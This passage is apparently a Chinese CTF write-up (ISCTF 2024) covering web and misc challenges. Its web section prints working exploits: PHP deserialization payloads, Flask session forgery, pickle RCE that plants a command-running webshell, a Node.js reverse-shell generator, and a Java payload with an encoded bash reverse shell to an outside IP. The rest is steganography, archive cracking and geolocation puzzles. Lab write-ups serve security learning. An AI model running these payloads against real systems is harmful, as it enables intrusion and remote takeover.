//a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";N;s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";N;s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}

//绕过 throw new Exception还可以修改属性 如下:O:11:"Tianmingren":3:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";N;s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";N;s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}

如果是数组绕过还需要将输出 payload 的第二个值索引置空即可绕过异常机制,强制触发__destruct()

1
a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";N;s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";N;s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:0;i:0;}

payload:

1
2
3
4
?J=0e215962017

Wukong=a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";N;s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";N;s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:0;i:0;}

新闻系统

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from flask import *
import pickle
import base64

app = Flask(__name__)
app.config["SECRET_KEY"] = "W3l1com_isCTF"

class News:
def __init__(self, title, content) -> None:
self.title = title
self.content = content

def __repr__(self) -> str:
return f"news(name={self.title}, words={self.content})"

class NewsList:
def __init__(self) -> None:
self.news_list = []

def create_news(self, title, content) -> None:
news = News(title,content)
self.news_list.append(news)

def export_news(self, news_title) -> str | None:
news = self.get_news(news_title)
if news is not None:
self.news_list.remove(news)
return '删除成功'
return None

def add_news(self, serialized_news) -> None:
try:
news_data = base64.b64decode(serialized_news)
black_list = ['create_news','export_news','add_news','get_news']
for i in black_list:
if i in str(news_data):
return False
news = pickle.loads(news_data)
if isinstance(news,News):
for i in self.news_list:
if i.title == news.title:
return False
self.news_list.append(news)
return True
return False
except Exception:
return False

def get_news(self, news_title) -> News | None:
for news in self.news_list:
if str(news.title) == news_title:
return news
return None


newslist = NewsList()

@app.route("/")
def index():
return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
if username == 'test' and password == 'test111':
session['username'] = username
session['password'] = password
session['status'] = 'user'
return redirect('/news')
else:
session['login_error'] = True
return render_template("login.html")

@app.route("/news")
def news():
news = newslist.news_list
return render_template("news.html",news = news)

@app.route('/admin',methods=['GET','POST'])
def admin():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
news = newslist.news_list
return render_template("admin.html",news = news)

@app.route("/create", methods=["POST"])
def create_news():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
title = request.form.get('title')
content = request.form.get('content')
newslist.create_news(title,content)
return redirect("/admin")

@app.route("/export", methods=["POST"])
def export_news():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
news_title = request.form["title"]
result = newslist.export_news(news_title)
if result is not None:
return jsonify({"result": result})
else:
return jsonify({"error": "news not found"})

@app.route("/add", methods=["POST"])
def add_news():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
serialized_news = request.form["serialized_news"]
if newslist.add_news(serialized_news):
return redirect("/admin")
else:
return jsonify({"error": "Failed to add news"})


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

可知sessionkey为W3l1com_isCTF

对于admin的session有以下要求

  • status为admin
  • username为admin
  • password为admin222

登录test账号

得到以下数据包

image-20250807164237399

解密session

1
2
3
/bin/python3.10 flask_session_cookie_manager3.py decode -c .eJyrVsrJT8_Mi08tKsovUrIqKSpN1VEqSCwuLs8vSlGyUipJLS4xNDRU0lEqLkksKS0GCpUWpxYB-SAqLzE3FapIqRYA7_MZ7A.aJRmjA.L4kfYlltCs6SPKJnSl1e3q3rZdU -s W3l1com_isCTF 

{'login_error': True, 'password': 'test111', 'status': 'user', 'username': 'test'}

由此可以伪造session登录系统

1
2
3
4
5
{'login_error': True, 'password': 'admin222', 'status': 'admin', 'username': 'admin'}

/bin/python3.10 flask_session_cookie_manager3.py encode -t {'login_error': True, 'password': 'admin222', 'status': 'admin', 'username': 'admin'} -s W3l1com_isCTF

.eJyrVsrJT8_Mi08tKsovUrIqKSpN1VEqSCwuLs8vSlGyUkpMyc3MMzIyUtJRKi5JLCkthokBBUqLU4vyEnNT4UK1ADxQGss.aJRoEg.8MmErgiTPN_cO3RVzp4-uoEJHdU

访问/admin 替换session

03b21bad0aaf0e71513f48082a91f02c

成功进入image-20250807164912774

add_news 函数存在 pickle 反序列化

1
2
3
4
5
serialized_news = request.form["serialized_news"]
if newslist.add_news(serialized_news):
return redirect("/admin")
else:
return jsonify({"error": "Failed to add news"})

出题人把回显位过滤了,打内存马

exp:

1
2
3
4
5
6
7
8
9
10
import base64
import os
import pickle
class tttang(object):
def __reduce__(self):
return (exec,('global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__(\'os\').popen(request.args.get(\'cmd\')).read()',))
a=tttang()
payload=pickle.dumps(a)
print(base64.b64encode(payload))

随便页面传入cmd执行命令即可

image-20250807175609928

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64

opcode = b'''cbuiltins
eval
(S"__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())"
tRc__main__
News
(S''
S''
tR.'''

exp = base64.b64encode(opcode)
print(exp.decode())

发包

image-20250807175817229

之后访问admin即可

ezlogin

在app.js文件中可看到unserialize

1
2
3
4
5
6
7
8
9
10
11
function auth(req, res, next) {
if(req.cookies.token){
const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());
if (!user.username) {
return res.status(401).redirect('/login');
}
}else{
return res.status(401).redirect('/login');
}
next();
}

参考文章https://cloud.tencent.com/developer/article/1374840

使用 nodejsshell.py 脚本生成shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys

if len(sys.argv) != 3:
print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)

需要使用python2

1
2
3
4
[+] LHOST = 8.8.8.8
[+] LPORT = 39011
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,56,46,49,51,48,46,50,52,46,50,53,51,34,59,10,80,79,82,84,61,34,51,57,48,49,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

生成js反序列化的 payload:

1
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,56,46,49,51,48,46,50,52,46,50,53,51,34,59,10,80,79,82,84,61,34,51,57,48,49,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

登陆成功后抓包就有了 cookie 字段,将 payload进行base64 编码后传入 cookie 的token,攻击机开启监听

image-20250809105856988

image-20250809105919931

其他方法参考

https://xz.aliyun.com/t/7184

外带回显到login.ejs中

payload:

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls />./views/login.ejs',function(error, stdout, stderr){console.log(stdout)});}()"}

蓝鲨的java入门课堂(未复现)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;  

import cat.uwu.begin_java.Evil;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;

public class test {
public static void main(String[] args)throws Exception {
HashMap map = new HashMap();
Class a=Class.forName("cat.uwu.begin_java.Evil");
Constructor constructor=a.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
Object o= constructor.newInstance("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
Evil ev=(Evil) o;
map.put(ev,"gaoren");

try {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(out);
objout.writeObject(map);
objout.close();
out.close();
byte[] ObjectBytes = out.toByteArray();
String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);
System.out.println(base64EncodedValue);
} catch (Exception e) {
e.printStackTrace();
}
}
}

ezejs(未复现)

原型链污染,污染 ejs 模板属性进行 rce

小蓝鲨的书店(未复现)

改编⾃2023年强⽹杯thinkthop,考察sql注⼊intodumpfile写⼆进制⽂件和thinkphpv5.0.23pop链,file_get_contents伪协 议phar利⽤,注意写⽂件要利⽤脚本重新⽣成⼆进制⽂件内容,绕过签名验证。题⽬没有过多waf,重点在考察intodumpfile写⼆ 进制⽂件和phar签名特性

MISC

File_Format

foremost文件提取到了一个exe WinAce

查询知道为一个压缩解压文件软件

flag使用bandizip打开可以看到里面为一个加密的flag.txt无法解压会报错

将后缀改为.ace

在ARCHPR中爆破

image-20250808104732098

找到口令241023

image-20250808104908887

然后再把附件后缀改为.exe打开

image-20250808105049059

输入密码提取flag

watermark

key1文字隐水印提取key1:FAAqDPjpgKJiB6m

https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html

image-20250808110650618

key2盲水印提取64oRvUfta9yJsBv

image-20250808110317226

image-20250808111606616

少女的秘密花园

得到一张图片

图片中隐藏一个base_misc文件

image-20250808112114912

包含加密的txt文件

爆破出密码

image-20250808112219362

得到的flag.txt内容如下

image-20250808112258564

厨子打开是一张图片保存

image-20250808112450698

得到一张类似于畸形的二维码修复宽高

image-20250808112605000

图片内容为盲文解密

image-20250808113353464

蓝色为字母,红色则为数字,最后的三个方块则为等于
得到
JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2===
base32解码
image-20250808113416072

游园地1

图寻题

题目描述:guoql之前出游,去了一处全国遍地都有的一个地方,你能帮我找到具体位置吗?得到的结果用以下格式书写:ISCTF{xx省_xx市_xx区/县_具体所在地},推荐使用百度地图得到结果,不需要写街道等,如可写为河南省_郑州市_二七区_二七广场(并非答案)

findme

各个平台随便搜搜

4233ebf6cb0dee4b360eef05f9bff794

ISCTF{湖北省_武汉市_江汉区_中山公园}

游园地2

findme

图中可以明显看到山崎居酒屋

image-20250808162111703

武汉市江汉区山崎居酒屋

武汉市江汉区新华路458号鸣笛1988商业街B107号商铺

ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_}

目前差游戏的圣地巡礼

image-20250808163500065

https://anitabi.cn/map可以看所有的圣地巡礼

游戏为恋爱绮谭

1
ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_恋爱绮谭}

数字迷雾:在像素中寻找线索

得到一张DK盾logo图片

image-20250808114731147

lsb隐写

image-20250808115241186

得到的flag自行补一个}即可

老八奇怪自拍照

根据题目描述521,以为是steghide隐写,思路错误

看lsb 521通道

image-20250808115944279

存在一个压缩包,提取得到一张图片

isctf

作者存在信息应该为一个密码

image-20250808120233353

考虑到带key图像解密

1
2
steghide.exe extract -sf isctf.jpg -p 1ScTf2024!
wrote extracted data to "flag.txt".

得到flag

秘密

得到存在加密的压缩包

image-20250808121234845

或者010查看

image-20250808121257153

得到密码:ISCTF2024

解压不成功发现是伪加密

修复压缩包解压得到照片

这是属于我们的秘密

因为题目描述为这是我们的秘密,所以对应的解密工具为oursecret

或者可以尝试每一个带key解密的图像工具

得到flag是文本零宽字符隐写

https://330k.github.io/misc_tools/unicode_steganography.html

image-20250808122111049

image-20250808122546020

赢!rar

image-20250808155144017

套娃rar

密码为admin123456

类似于 XYNU2024信安杯的can_you_find_me_misc_version同样得到520个文本

考察Ntfs数据流

image-20250808155931750

得到KGJB1J2NvEaJVR3xHNZFdMKsV6G2VTE++

xxencode

image-20250808160110513

像素圣战

将附件图片上传到该网站

https://sekao.net/pixeljihad/

密码为ISCTF

得到

1
10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001

b神工具梭哈

image-20250808164527222

starry sky

image-20250808194710730

f1ag.txt内容为

1
T4qIqpxAFAkzXdoH6Ji+VhH8j1ShJcz+7YcvwP5EBHcXp5OO5v0GHA==

st@rrysky.png无法查看

记事本查看可见为base64

image-20250808195040227

删除

1
data:image/jpeg;base64,

在CyberChef中解码导出得到可查看图片

image-20250808195146461

image-20250808195200765

可知xorkey为:FF

对xor文件进行xorFF

image-20250808195542390

得到一个音频文件

image-20250808195559475

直接听,再结合题⽬描述推测出是SSTV⾳频,直接解码⾳频。

image-20250808200624473

拿到DESKey直接解des即可。

image-20250808200905336

奇怪的txt

题目描述:李华今天收到了一封奇怪的信,来信的人说他有很多玩偶,想使用一种方法将玩偶排序,他听说有一种方式是把一堆玩偶编号排成一个圈,假如从序号1开始,每当数到7时挑出这个玩偶,直到所有的玩偶都被挑选完毕,但是愚笨的他不知道这是什么意思,所以写信求助李华。假如你是李华,你能帮来信的人实现这个方法吗?

猜测是将7的倍数的txt拼起来,一直循环

image-20250808201316725

发现第73个txt文件大小不同

可能为最后一个

是经典的约瑟夫环问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os  

def get_file_number(file_name):
""" 提取文件名中的数字部分 """ return int(file_name.split('.')[0])

def merge_files_in_josephus_order(target_file, k=7):
""" 按照约瑟夫环的顺序将文件合并到目标文件中 """ # 获取当前目录下所有txt文件,并按数字顺序排序
files = [f for f in os.listdir() if f.endswith('.txt')]

# 按文件名中的数字部分排序
files.sort(key=lambda x: get_file_number(x))

# 如果没有txt文件,返回
if not files:
print("没有找到txt文件!")
return

# 按照约瑟夫环顺序挑选文件
ordered_files = josephus_problem(files, k)

# 打开目标文件,准备写入
with open(target_file, 'w') as target:
for file in ordered_files:
print(f"正在处理文件: {file}")
with open(file, 'r') as f:
# 读取每个文件的内容并写入目标文件
content = f.read()
target.write(content + "\n") # 添加换行分隔文件内容

print(f"所有文件已按照约瑟夫环顺序合并到 {target_file} 中。")


def josephus_problem(files, k):
""" 根据约瑟夫环的规则返回一个文件顺序 """ result = []
index = 0
while files:
index = (index + k - 1) % len(files)
result.append(files.pop(index))
return result


# 调用函数,合并文件到目标文件'merged.txt'
merge_files_in_josephus_order('merged.txt')

合并后的txt循环解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64  
with open('merged.txt','r') as f:
contents = f.read()
i=0
while True:
try:
i += 1
contents = base64.b64decode(contents)
print(f"第{i}次解码")

except:
print(f"在第{i}次得到flag:{contents}")
break

image-20250808202018171

神秘ping

发现文件流被逆置

image-20250808202310482

1
2
3
4
5
6
with open("input",'rb') as f:   #以二进制的形式读取文件内容
content=f.read()
reverse_content=content[::-1]
with open("output",'wb') as b: #以二进制写入
b.write(reverse_content)

得到一个pcap文件

发现命令执行

追踪TCP流

image-20250808203749276

既然题目的名字叫神秘ping,我们就需要对ICMP流量进行分析

image-20250808204523531

这里的icmp流量的data以及length都没有奇怪的地方
然后看到这里的ttl符合ttl加密的特征
ttl加密可以参考
https://www.cnblogs.com/fishjumpriver/p/18013560
然后我们用命令将ICMP的ttl都提取出来

1
tshark -r p1ng.pcap -Y "icmp" -T fields -e ip.ttl > 1.txt

然后用脚本进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
f = open('out.txt', "r")  
str = ''
Binary = ''
number = ''
while 1:
num = f.readline()
if not num:
break
if num.rstrip() == '63': # 去掉每行后面的空格
Binary = '00'
elif num.rstrip() == '64':
Binary = ''
elif num.rstrip() == '127':
Binary = '01'
elif num.rstrip() == '191':
Binary = '10'
elif num.rstrip() == '255':
Binary = '11'
str += Binary
for i in range(0, len(str), 8):
number += chr(int(str[i:i + 8], 2))
print(number)

执行得到flag

神秘的wav

下载得到wav

在web中上传wav

得到

1
2
L3NvdXJjZQ==
/source

访问/source

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, render_template, send_file, render_template_string
import wave
import os

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def ext(inp):
'''
希望你能自己搓出脚本
'''
with wave.open(inp, 'rb') as wav:
frames = wav.readframes(wav.getnframes())
frames_array = bytearray(frames)
message_bits = [str((frames_array[i] & 2) >> 1) for i in range(len(frames_array))]
message = ''
for i in range(0, len(message_bits), 8):
byte = message_bits[i:i+8]
char = chr(int(''.join(byte), 2))
if char == '\x00':
break
message += char
return message

@app.route('/', methods=['GET', 'POST'])
def upload_file():
'''
一位misc手在各个方向都要有所了解
'''
if request.method == 'POST':
file = request.files['file']
if file and file.filename.endswith('.wav'):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(filepath)
message = ext(filepath)
return render_template_string(message)
else:
return render_template_string("pls upload wav")
return render_template('upload.html')

@app.route('/source', methods=['GET'])
def get_source():
return send_file('app.py')

if __name__ == '__main__':
app.run(debug=True)

此处存在模板注入

1
return render_template_string(message)

写脚本把ssti攻击语句嵌入到wav文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import wave  


def embedding_message(input_wav, output_wav, message):
'''
在WAV文件中嵌入消息,使用LSB嵌入法
''' # 打开原始WAV文件
with wave.open(input_wav, 'rb') as wav_in:
# 获取WAV文件的参数
n_channels = wav_in.getnchannels() # 声道数
sampwidth = wav_in.getsampwidth() # 采样宽度
framerate = wav_in.getframerate() # 采样率
n_frames = wav_in.getnframes() # 总帧数

# 读取WAV文件的帧数据
frames = wav_in.readframes(n_frames)

# 将帧数据转化为字节数组
frames_array = bytearray(frames)

# 将消息转换为二进制字符串
message_bits = ''.join(format(ord(c), '08b') for c in message)
message_bits += '00000000' # 添加结束符 \x00
# 检查消息是否适合嵌入
if len(message_bits) > len(frames_array):
print("Message is too long to embed.")
return

# 在帧数据中嵌入消息
for i in range(len(message_bits)):
frames_array[i] = (frames_array[i] & 0xFD) | (int(message_bits[i]) << 1)

# 输出嵌入数据后的WAV文件
with wave.open(output_wav, 'wb') as wav_out:
wav_out.setnchannels(n_channels)
wav_out.setsampwidth(sampwidth)
wav_out.setframerate(framerate)
wav_out.writeframes(frames_array)

print(f"Message embedded successfully in {output_wav}")


if __name__ == '__main__':
input_wav = 'input.wav' # 输入的WAV文件
output_wav = 'output.wav' # 输出的WAV文件
message = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag','r').read() }}{% endif %}{% endfor %}" # 要嵌入的消息

embedding_message(input_wav, output_wav, message)

上传得到flag

来自天外的信息

musc未复现